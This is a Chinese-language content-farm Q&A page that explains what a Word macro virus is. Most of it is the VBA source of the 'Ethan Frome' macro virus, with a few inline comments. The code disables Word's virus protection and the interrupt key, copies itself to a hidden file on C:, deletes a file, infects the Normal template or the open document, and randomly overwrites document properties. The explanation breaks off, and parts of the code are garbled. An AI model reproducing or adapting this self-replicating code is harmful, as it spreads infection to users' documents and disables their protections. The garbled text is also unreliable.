關(guān)于宏病毒是什么病毒的典型代表,宏病毒是什么這個(gè)問題很多朋友還不知道,今天小六來為大家解答以上的問題,現(xiàn)在讓我們一起來看看吧!
1、Private Sub Document_Close() ‘close事件,當(dāng)文檔關(guān)閉時(shí)觸發(fā)On Error Resume Next ’如果出錯(cuò)了就執(zhí)行下一句s = ActiveDocument.Saved ,將當(dāng)前活動(dòng)文檔保存,并把保存結(jié)果給s變量Application.EnableCancelKey = Not -1 ‘使程序運(yùn)行無法中斷With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With 將好幾句寫到了以行,設(shè)置options的一些屬性。
2、太麻煩了,如果你有一句兩句不明白我告訴你。
3、Randomize If Dir("c:ethan.___", 6) = "" Then Open "c:ethan.___" For Output As #1 For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1) Print #1, a Next I Close #1 SetAttr "c:ethan.___", 6 End If If Dir("c:class.sys") <> "" Then Kill "c:class.sys" If NormalTemplate.VBProject.VBComponents.Item( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private Sub Document_Close()" Then Set t = NormalTemplate.VBProject.VBComponents.Item(1) Else If ActiveDocument.VBProject.VBComponents.Item( 1 ) .CodeModule.Lines ( 1, 1 ) <> "Private SubDocument_Close()" Then Set t = ActiveDocument.VBProject.VBComponents.Item(1) Else t = "" End If If t <> "" Then Open "c:ethan.___" For Input As #1 If LOF(1) = 0 Then GoTo q i = 1 Do While Not EOF(1) Line Input #1, a Line Input #1, a t.CodeModule.InsertLines i, a i = i + 1 Loop q: Close #1 If Rnd < 0.3 Then With Dialogs ( wdDialogFileSummaryInfo ) : .Title = "Ethan Frome" : .Author = "EW/LN/CB": .Keywords = "Ethan": .Execute: End With If Left(***.Name, 8) <> "Document" Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName End If If ActiveDocument.Saved <> s Then ActiveDocument.Saved= s End Sub。
本文分享完畢,希望對(duì)大家有所幫助。
標(biāo)簽:
免責(zé)聲明:本文由用戶上傳,如有侵權(quán)請(qǐng)聯(lián)系刪除!